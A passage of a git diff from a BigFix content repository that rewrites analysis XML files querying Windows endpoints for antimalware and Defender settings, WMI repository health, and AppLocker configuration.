+<P>Latest Version of this Analysis can be found here:&nbsp; <A href="http://bigfix.me/analysis/details/2994633">http://bigfix.me/analysis/details/2994633</A></P>]]></Description>
+    <Relevance>/* Windows Only */ windows of operating system</Relevance>
+    <Relevance><![CDATA[/* Windows Vista or Higher */ version of operating system >= "6.0"]]></Relevance>
+    <Relevance><![CDATA[( /* Check for MSE/SCEP install */ (exists keys "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Microsoft Security Client" of native registry) OR (exists keys "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft Antimalware" of native registry)) OR (/* Windows 8 or Higher has it built in */ version of operating system >= "6.2")]]></Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Thu, 30 Jan 2014 21:49:19 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="ProductType" EvaluationPeriod="P2D">values &quot;ProductType&quot; of (keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft Antimalware&quot; of native registry ; keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender&quot; of native registry)</Property>
+    <Property ID="2" Name="AntiSpywareDisabled?" EvaluationPeriod="P2D">values &quot;DisableAntiSpyware&quot; of (keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft Antimalware&quot; of native registry ; keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender&quot; of native registry)</Property>
+    <Property ID="4" Name="File Versions" EvaluationPeriod="P2D">(multiplicity of it, it) of unique values of versions of files whose(exists version of it) of folders ((if (version of client &lt; &quot;8.1&quot;) then it else if (x64 of operating system) then (expand x64 environment string of it) else (expand environment string of it)) of ((preceding texts of lasts &quot;\&quot; of (it as string)) of values &quot;RemediationExe&quot; of (keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft Antimalware&quot; of native registry ; keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender&quot; of native registry)))</Property>
+    <Property ID="5" Name="Folder" EvaluationPeriod="P2D">((if (version of client &lt; &quot;8.1&quot;) then it else if (x64 of operating system) then (expand x64 environment string of it) else (expand environment string of it)) of ((preceding texts of lasts &quot;\&quot; of (it as string)) of values &quot;RemediationExe&quot; of (keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft Antimalware&quot; of native registry ; keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender&quot; of native registry)))</Property>
+    <Property ID="6" Name="#Days To Delete Quarantined" EvaluationPeriod="P2D">(values &quot;PurgeItemsAfterDelay&quot; of keys &quot;Quarantine&quot; of (keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft Antimalware&quot; of native registry ; keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender&quot; of native registry))</Property>
+    <Property ID="7" Name="ReportUnknownsToMS?" EvaluationPeriod="P2D">/* http://technet.microsoft.com/en-us/library/bb418859.aspx */ (unique values of (it as string) of values &quot;SpyNetReporting&quot; of keys &quot;Spynet&quot; of (keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft Antimalware&quot; of native registry ; keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender&quot; of native registry))</Property>
+    <Property ID="8" Name="AntiMalware Def. Version" EvaluationPeriod="P2D">unique values of (it as string) of values whose(name of it = &quot;ASSignatureVersion&quot; OR name of it = &quot;AVSignatureVersion&quot;) of keys &quot;Signature Updates&quot; of (keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft Antimalware&quot; of native registry ; keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender&quot; of native registry)</Property>
+    <Property ID="9" Name="AntiMalware Engine Version" EvaluationPeriod="P2D">unique values of (it as string) of values &quot;EngineVersion&quot; of keys &quot;Signature Updates&quot; of (keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft Antimalware&quot; of native registry ; keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender&quot; of native registry)</Property>
+    <Property ID="10" Name="NetIntrusion Engine Version" EvaluationPeriod="P2D">unique values of (it as string) of values &quot;NISEngineVersion&quot; of keys &quot;Signature Updates&quot; of (keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft Antimalware&quot; of native registry ; keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender&quot; of native registry)</Property>
+    <Property ID="11" Name="NetIntrusion Def. Version" EvaluationPeriod="P2D">unique values of (it as string) of values &quot;NISSignatureVersion&quot; of keys &quot;Signature Updates&quot; of (keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft Antimalware&quot; of native registry ; keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender&quot; of native registry)</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/WMI - Windows (2998282).bes b/Sites/Windows Management/Fixlets/Analyses/WMI - Windows (2998282).bes
index c031fee90..b276cbcbb 100644
--- a/Sites/Windows Management/Fixlets/Analyses/WMI - Windows (2998282).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/WMI - Windows (2998282).bes	
@@ -1,26 +1,26 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : WMI - Windows
-  ID       : 2998282
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-07-19T17:56:55
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>WMI - Windows</Title>
-    <Description><![CDATA[<P>Provides information on the state of WMI on the endpoint. </P>
-<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>exists wmi</Relevance>
-    <Domain>BESC</Domain>
-    <Property ID="4" Name="WMI - Query Error - Windows" EvaluationPeriod="PT1H">not exists string values of selects &quot;Domain from Win32_ComputerSystem&quot; of wmi | true</Property>
-    <Property ID="5" Name="WMI - Backup Repository Exists - Windows" EvaluationPeriod="PT1H">exists folders whose (name of it starts with &quot;repository.&quot;) of (folder &quot;wbem&quot; of (if (x64 of operating system) then (system x64 folder) else (system x32 folder)))</Property>
-    <Property ID="6" Name="WMI - Backup Repository Count - Windows" EvaluationPeriod="PT1H">number of folders whose (name of it starts with &quot;repository.&quot;) of (folder &quot;wbem&quot; of (if (x64 of operating system) then (system x64 folder) else (system x32 folder)))</Property>
-    <Property ID="7" Name="WMI - Repository is Large - Windows" EvaluationPeriod="P1D">(size of file &quot;objects.data&quot; of (if (x64 of operating system) then (x64 folder (pathname of windows folder &amp; &quot;\system32\wbem\repository&quot;)) else (folder (pathname of windows folder &amp; &quot;\system32\wbem\repository&quot;)))) &gt; 1 /*byte*/ * 1024 /*KB*/ * 1024 /*MB*/ * 1024 /*GB*/</Property>
-    <Property ID="8" Name="WMI - Repository Size - Windows" EvaluationPeriod="P1D">size of file &quot;objects.data&quot; of (if (x64 of operating system) then (x64 folder (pathname of windows folder &amp; &quot;\system32\wbem\repository&quot;)) else (folder (pathname of windows folder &amp; &quot;\system32\wbem\repository&quot;)))</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : WMI - Windows
+  ID       : 2998282
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-07-19T17:56:55
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>WMI - Windows</Title>
+    <Description><![CDATA[<P>Provides information on the state of WMI on the endpoint. </P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists wmi</Relevance>
+    <Domain>BESC</Domain>
+    <Property ID="4" Name="WMI - Query Error - Windows" EvaluationPeriod="PT1H">not exists string values of selects &quot;Domain from Win32_ComputerSystem&quot; of wmi | true</Property>
+    <Property ID="5" Name="WMI - Backup Repository Exists - Windows" EvaluationPeriod="PT1H">exists folders whose (name of it starts with &quot;repository.&quot;) of (folder &quot;wbem&quot; of (if (x64 of operating system) then (system x64 folder) else (system x32 folder)))</Property>
+    <Property ID="6" Name="WMI - Backup Repository Count - Windows" EvaluationPeriod="PT1H">number of folders whose (name of it starts with &quot;repository.&quot;) of (folder &quot;wbem&quot; of (if (x64 of operating system) then (system x64 folder) else (system x32 folder)))</Property>
+    <Property ID="7" Name="WMI - Repository is Large - Windows" EvaluationPeriod="P1D">(size of file &quot;objects.data&quot; of (if (x64 of operating system) then (x64 folder (pathname of windows folder &amp; &quot;\system32\wbem\repository&quot;)) else (folder (pathname of windows folder &amp; &quot;\system32\wbem\repository&quot;)))) &gt; 1 /*byte*/ * 1024 /*KB*/ * 1024 /*MB*/ * 1024 /*GB*/</Property>
+    <Property ID="8" Name="WMI - Repository Size - Windows" EvaluationPeriod="P1D">size of file &quot;objects.data&quot; of (if (x64 of operating system) then (x64 folder (pathname of windows folder &amp; &quot;\system32\wbem\repository&quot;)) else (folder (pathname of windows folder &amp; &quot;\system32\wbem\repository&quot;)))</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Whitelisting - Applocker - Configuration - Windows (2998309).bes b/Sites/Windows Management/Fixlets/Analyses/Whitelisting - Applocker - Configuration - Windows (2998309).bes
index 24559fc06..0cae0ee07 100644
--- a/Sites/Windows Management/Fixlets/Analyses/Whitelisting - Applocker - Configuration - Windows (2998309).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/Whitelisting - Applocker - Configuration - Windows (2998309).bes	
@@ -1,39 +1,39 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : Whitelisting - Applocker - Configuration - Windows
-  ID       : 2998309
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-07-19T18:04:45
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>Whitelisting - Applocker - Configuration - Windows</Title>
-    <Description><![CDATA[Provides the current applocker configuration on the system.
-<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Applocker">https://github.com/strawgate/C3-Protect/wiki/Applocker</A></P>
-<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>(product info string of operating system = &quot;Enterprise&quot; or product info string of operating system = &quot;Server&quot;)</Relevance>
-    <Relevance>exists key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2&quot; of native registry</Relevance>
-    <Domain>BESC</Domain>
-    <Property ID="1" Name="Applocker - AppX Enforcement Mode - Windows" EvaluationPeriod="P1D">(if (it = &quot;Disabled&quot;) then (&quot;Disabled&quot;) else (if (it = &quot;0&quot;) then &quot;Audit-only&quot; else &quot;Enforced&quot;)) of (value &quot;EnforcementMode&quot; of key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Appx&quot; of native registry as string | &quot;Disabled&quot;)</Property>
-    <Property ID="2" Name="Applocker - DLL Enforcement Mode - Windows" EvaluationPeriod="P1D">(if (it = &quot;Disabled&quot;) then (&quot;Disabled&quot;) else (if (it = &quot;0&quot;) then &quot;Audit-only&quot; else &quot;Enforced&quot;)) of (value &quot;EnforcementMode&quot; of key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Dll&quot; of native registry as string | &quot;Disabled&quot;)</Property>
-    <Property ID="3" Name="Applocker - EXE Enforcement Mode - Windows" EvaluationPeriod="P1D">(if (it = &quot;Disabled&quot;) then (&quot;Disabled&quot;) else (if (it = &quot;0&quot;) then &quot;Audit-only&quot; else &quot;Enforced&quot;)) of (value &quot;EnforcementMode&quot; of key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Exe&quot; of native registry as string | &quot;Disabled&quot;) </Property>
-    <Property ID="4" Name="Applocker - MSI Enforcement Mode - Windows" EvaluationPeriod="P1D">(if (it = &quot;Disabled&quot;) then (&quot;Disabled&quot;) else (if (it = &quot;0&quot;) then &quot;Audit-only&quot; else &quot;Enforced&quot;)) of (value &quot;EnforcementMode&quot; of key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Msi&quot; of native registry as string | &quot;Disabled&quot;)</Property>
-    <Property ID="5" Name="Applocker - Script Enforcement Mode - Windows" EvaluationPeriod="P1D">(if (it = &quot;Disabled&quot;) then (&quot;Disabled&quot;) else (if (it = &quot;0&quot;) then &quot;Audit-only&quot; else &quot;Enforced&quot;)) of (value &quot;EnforcementMode&quot; of key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Script&quot; of native registry as string | &quot;Disabled&quot;)</Property>
-    <Property ID="6" Name="Applocker - AppX Rules (raw) - Windows" EvaluationPeriod="P1D">(values &quot;value&quot; of keys of key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Appx&quot; of native registry as string)</Property>
-    <Property ID="7" Name="Applocker - DLL Rules (raw) - Windows" EvaluationPeriod="P1D">(values &quot;value&quot; of keys of key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Dll&quot; of native registry as string)</Property>
-    <Property ID="8" Name="Applocker - Exe Rules (raw) - Windows" EvaluationPeriod="P1D">(values &quot;value&quot; of keys of key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Exe&quot; of native registry as string)</Property>
-    <Property ID="9" Name="Applocker - Msi Rules (raw) - Windows" EvaluationPeriod="P1D">(values &quot;value&quot; of keys of key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Msi&quot; of native registry as string)</Property>
-    <Property ID="10" Name="Applocker - Script Rules (raw) - Windows" EvaluationPeriod="P1D">(values &quot;value&quot; of keys of key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Script&quot; of native registry as string)</Property>
-    <Property ID="11" Name="Applocker - AppX Rules (formatted) - Windows" EvaluationPeriod="P1D">(node value of attribute &quot;Action&quot; of it, node value of attribute &quot;Name&quot; of it, node value of attribute &quot;UserOrGroupSid&quot; of it &amp; &quot; (&quot; &amp; ( account name of sid (node value of attribute &quot;UserOrGroupSid&quot; of it) | &quot;User not found&quot;) &amp; &quot;)&quot;, concatenations &quot;; &quot; of (node name of it &amp; &quot;: &quot; &amp; node value of it) of attributes of child nodes of xpaths &quot;Conditions&quot; of it) of xpaths &quot;/*&quot; of xml documents of (values &quot;value&quot; of keys of key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Msi&quot; of native registry as string)</Property>
-    <Property ID="12" Name="Applocker - DLL Rules (formatted) - Windows" EvaluationPeriod="P1D">(node value of attribute &quot;Action&quot; of it, node value of attribute &quot;Name&quot; of it, node value of attribute &quot;UserOrGroupSid&quot; of it &amp; &quot; (&quot; &amp; ( account name of sid (node value of attribute &quot;UserOrGroupSid&quot; of it) | &quot;User not found&quot;) &amp; &quot;)&quot;, concatenations &quot;; &quot; of (node name of it &amp; &quot;: &quot; &amp; node value of it) of attributes of child nodes of xpaths &quot;Conditions&quot; of it) of xpaths &quot;/*&quot; of xml documents of (values &quot;value&quot; of keys of key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Dll&quot; of native registry as string)</Property>
-    <Property ID="13" Name="Applocker - Exe Rules (formatted) - Windows" EvaluationPeriod="P1D">(node value of attribute &quot;Action&quot; of it, node value of attribute &quot;Name&quot; of it, node value of attribute &quot;UserOrGroupSid&quot; of it &amp; &quot; (&quot; &amp; ( account name of sid (node value of attribute &quot;UserOrGroupSid&quot; of it) | &quot;User not found&quot;) &amp; &quot;)&quot;, concatenations &quot;; &quot; of (node name of it &amp; &quot;: &quot; &amp; node value of it) of attributes of child nodes of xpaths &quot;Conditions&quot; of it) of xpaths &quot;/*&quot; of xml documents of (values &quot;value&quot; of keys of key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Exe&quot; of native registry as string)</Property>
-    <Property ID="14" Name="Applocker - Msi Rules (formatted) - Windows" EvaluationPeriod="P1D">(node value of attribute &quot;Action&quot; of it, node value of attribute &quot;Name&quot; of it, node value of attribute &quot;UserOrGroupSid&quot; of it &amp; &quot; (&quot; &amp; ( account name of sid (node value of attribute &quot;UserOrGroupSid&quot; of it) | &quot;User not found&quot;) &amp; &quot;)&quot;, concatenations &quot;; &quot; of (node name of it &amp; &quot;: &quot; &amp; node value of it) of attributes of child nodes of xpaths &quot;Conditions&quot; of it) of xpaths &quot;/*&quot; of xml documents of (values &quot;value&quot; of keys of key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Msi&quot; of native registry as string)</Property>
-    <Property ID="15" Name="Applocker - Script Rules (formatted) - Windows" EvaluationPeriod="P1D">(node value of attribute &quot;Action&quot; of it, node value of attribute &quot;Name&quot; of it, node value of attribute &quot;UserOrGroupSid&quot; of it &amp; &quot; (&quot; &amp; ( account name of sid (node value of attribute &quot;UserOrGroupSid&quot; of it) | &quot;User not found&quot;) &amp; &quot;)&quot;, concatenations &quot;; &quot; of (node name of it &amp; &quot;: &quot; &amp; node value of it) of attributes of child nodes of xpaths &quot;Conditions&quot; of it) of xpaths &quot;/*&quot; of xml documents of (values &quot;value&quot; of keys of key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Script&quot; of native registry as string)</Property>
-    <Property ID="16" Name="Applocker - AppX Rules (formatted) - Windows" EvaluationPeriod="P1D">(node value of attribute &quot;Action&quot; of it, node value of attribute &quot;Name&quot; of it, node value of attribute &quot;UserOrGroupSid&quot; of it &amp; &quot; (&quot; &amp; ( account name of sid (node value of attribute &quot;UserOrGroupSid&quot; of it) | &quot;User not found&quot;) &amp; &quot;)&quot;, concatenations &quot;; &quot; of (node name of it &amp; &quot;: &quot; &amp; node value of it) of attributes of child nodes of xpaths &quot;Conditions&quot; of it) of xpaths &quot;/*&quot; of xml documents of (values &quot;value&quot; of keys of key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Appx&quot; of native registry as string)</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Whitelisting - Applocker - Configuration - Windows
+  ID       : 2998309
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-07-19T18:04:45
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Whitelisting - Applocker - Configuration - Windows</Title>
+    <Description><![CDATA[Provides the current applocker configuration on the system.
+<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Applocker">https://github.com/strawgate/C3-Protect/wiki/Applocker</A></P>
+<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>(product info string of operating system = &quot;Enterprise&quot; or product info string of operating system = &quot;Server&quot;)</Relevance>
+    <Relevance>exists key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2&quot; of native registry</Relevance>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Applocker - AppX Enforcement Mode - Windows" EvaluationPeriod="P1D">(if (it = &quot;Disabled&quot;) then (&quot;Disabled&quot;) else (if (it = &quot;0&quot;) then &quot;Audit-only&quot; else &quot;Enforced&quot;)) of (value &quot;EnforcementMode&quot; of key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Appx&quot; of native registry as string | &quot;Disabled&quot;)</Property>
+    <Property ID="2" Name="Applocker - DLL Enforcement Mode - Windows" EvaluationPeriod="P1D">(if (it = &quot;Disabled&quot;) then (&quot;Disabled&quot;) else (if (it = &quot;0&quot;) then &quot;Audit-only&quot; else &quot;Enforced&quot;)) of (value &quot;EnforcementMode&quot; of key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Dll&quot; of native registry as string | &quot;Disabled&quot;)</Property>
+    <Property ID="3" Name="Applocker - EXE Enforcement Mode - Windows" EvaluationPeriod="P1D">(if (it = &quot;Disabled&quot;) then (&quot;Disabled&quot;) else (if (it = &quot;0&quot;) then &quot;Audit-only&quot; else &quot;Enforced&quot;)) of (value &quot;EnforcementMode&quot; of key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Exe&quot; of native registry as string | &quot;Disabled&quot;) </Property>
+    <Property ID="4" Name="Applocker - MSI Enforcement Mode - Windows" EvaluationPeriod="P1D">(if (it = &quot;Disabled&quot;) then (&quot;Disabled&quot;) else (if (it = &quot;0&quot;) then &quot;Audit-only&quot; else &quot;Enforced&quot;)) of (value &quot;EnforcementMode&quot; of key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Msi&quot; of native registry as string | &quot;Disabled&quot;)</Property>
+    <Property ID="5" Name="Applocker - Script Enforcement Mode - Windows" EvaluationPeriod="P1D">(if (it = &quot;Disabled&quot;) then (&quot;Disabled&quot;) else (if (it = &quot;0&quot;) then &quot;Audit-only&quot; else &quot;Enforced&quot;)) of (value &quot;EnforcementMode&quot; of key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Script&quot; of native registry as string | &quot;Disabled&quot;)</Property>
+    <Property ID="6" Name="Applocker - AppX Rules (raw) - Windows" EvaluationPeriod="P1D">(values &quot;value&quot; of keys of key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Appx&quot; of native registry as string)</Property>
+    <Property ID="7" Name="Applocker - DLL Rules (raw) - Windows" EvaluationPeriod="P1D">(values &quot;value&quot; of keys of key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Dll&quot; of native registry as string)</Property>
+    <Property ID="8" Name="Applocker - Exe Rules (raw) - Windows" EvaluationPeriod="P1D">(values &quot;value&quot; of keys of key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Exe&quot; of native registry as string)</Property>
+    <Property ID="9" Name="Applocker - Msi Rules (raw) - Windows" EvaluationPeriod="P1D">(values &quot;value&quot; of keys of key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Msi&quot; of native registry as string)</Property>
+    <Property ID="10" Name="Applocker - Script Rules (raw) - Windows" EvaluationPeriod="P1D">(values &quot;value&quot; of keys of key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Script&quot; of native registry as string)</Property>
+    <Property ID="11" Name="Applocker - AppX Rules (formatted) - Windows" EvaluationPeriod="P1D">(node value of attribute &quot;Action&quot; of it, node value of attribute &quot;Name&quot; of it, node value of attribute &quot;UserOrGroupSid&quot; of it &amp; &quot; (&quot; &amp; ( account name of sid (node value of attribute &quot;UserOrGroupSid&quot; of it) | &quot;User not found&quot;) &amp; &quot;)&quot;, concatenations &quot;; &quot; of (node name of it &amp; &quot;: &quot; &amp; node value of it) of attributes of child nodes of xpaths &quot;Conditions&quot; of it) of xpaths &quot;/*&quot; of xml documents of (values &quot;value&quot; of keys of key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Msi&quot; of native registry as string)</Property>
+    <Property ID="12" Name="Applocker - DLL Rules (formatted) - Windows" EvaluationPeriod="P1D">(node value of attribute &quot;Action&quot; of it, node value of attribute &quot;Name&quot; of it, node value of attribute &quot;UserOrGroupSid&quot; of it &amp; &quot; (&quot; &amp; ( account name of sid (node value of attribute &quot;UserOrGroupSid&quot; of it) | &quot;User not found&quot;) &amp; &quot;)&quot;, concatenations &quot;; &quot; of (node name of it &amp; &quot;: &quot; &amp; node value of it) of attributes of child nodes of xpaths &quot;Conditions&quot; of it) of xpaths &quot;/*&quot; of xml documents of (values &quot;value&quot; of keys of key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Dll&quot; of native registry as string)</Property>
+    <Property ID="13" Name="Applocker - Exe Rules (formatted) - Windows" EvaluationPeriod="P1D">(node value of attribute &quot;Action&quot; of it, node value of attribute &quot;Name&quot; of it, node value of attribute &quot;UserOrGroupSid&quot; of it &amp; &quot; (&quot; &amp; ( account name of sid (node value of attribute &quot;UserOrGroupSid&quot; of it) | &quot;User not found&quot;) &amp; &quot;)&quot;, concatenations &quot;; &quot; of (node name of it &amp; &quot;: &quot; &amp; node value of it) of attributes of child nodes of xpaths &quot;Conditions&quot; of it) of xpaths &quot;/*&quot; of xml documents of (values &quot;value&quot; of keys of key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Exe&quot; of native registry as string)</Property>
+    <Property ID="14" Name="Applocker - Msi Rules (formatted) - Windows" EvaluationPeriod="P1D">(node value of attribute &quot;Action&quot; of it, node value of attribute &quot;Name&quot; of it, node value of attribute &quot;UserOrGroupSid&quot; of it &amp; &quot; (&quot; &amp; ( account name of sid (node value of attribute &quot;UserOrGroupSid&quot; of it) | &quot;User not found&quot;) &amp; &quot;)&quot;, concatenations &quot;; &quot; of (node name of it &amp; &quot;: &quot; &amp; node value of it) of attributes of child nodes of xpaths &quot;Conditions&quot; of it) of xpaths &quot;/*&quot; of xml documents of (values &quot;value&quot; of keys of key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Msi&quot; of native registry as string)</Property>
+    <Property ID="15" Name="Applocker - Script Rules (formatted) - Windows" EvaluationPeriod="P1D">(node value of attribute &quot;Action&quot; of it, node value of attribute &quot;Name&quot; of it, node value of attribute &quot;UserOrGroupSid&quot; of it &amp; &quot; (&quot; &amp; ( account name of sid (node value of attribute &quot;UserOrGroupSid&quot; of it) | &quot;User not found&quot;) &amp; &quot;)&quot;, concatenations &quot;; &quot; of (node name of it &amp; &quot;: &quot; &amp; node value of it) of attributes of child nodes of xpaths &quot;Conditions&quot; of it) of xpaths &quot;/*&quot; of xml documents of (values &quot;value&quot; of keys of key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Script&quot; of native registry as string)</Property>
+    <Property ID="16" Name="Applocker - AppX Rules (formatted) - Windows" EvaluationPeriod="P1D">(node value of attribute &quot;Action&quot; of it, node value of attribute &quot;Name&quot; of it, node value of attribute &quot;UserOrGroupSid&quot; of it &amp; &quot; (&quot; &amp; ( account name of sid (node value of attribute &quot;UserOrGroupSid&quot; of it) | &quot;User not found&quot;) &amp; &quot;)&quot;, concatenations &quot;; &quot; of (node name of it &amp; &quot;: &quot; &amp; node value of it) of attributes of child nodes of xpaths &quot;Conditions&quot; of it) of xpaths &quot;/*&quot; of xml documents of (values &quot;value&quot; of keys of key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Appx&quot; of native registry as string)</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Whitelisting - Applocker - Logs - Windows (2998440).bes b/Sites/Windows Management/Fixlets/Analyses/Whitelisting - Applocker - Logs - Windows (2998440).bes
index 482c94194..99502fd2b 100644
--- a/Sites/Windows Management/Fixlets/Analyses/Whitelisting - Applocker - Logs - Windows (2998440).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/Whitelisting - Applocker - Logs - Windows (2998440).bes	
@@ -1,26 +1,26 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : Whitelisting - Applocker - Logs - Windows
-  ID       : 2998440
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-09-29T11:25:12
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>Whitelisting - Applocker - Logs - Windows</Title>
-    <Description><![CDATA[<P>This analysis provides information on blocked or audited launches looking at the last 500 event logs from Applocker.</P>
-<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Applocker">https://github.com/strawgate/C3-Protect/wiki/Applocker</A></P>
-<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>NOT in proxy agent context</Relevance>
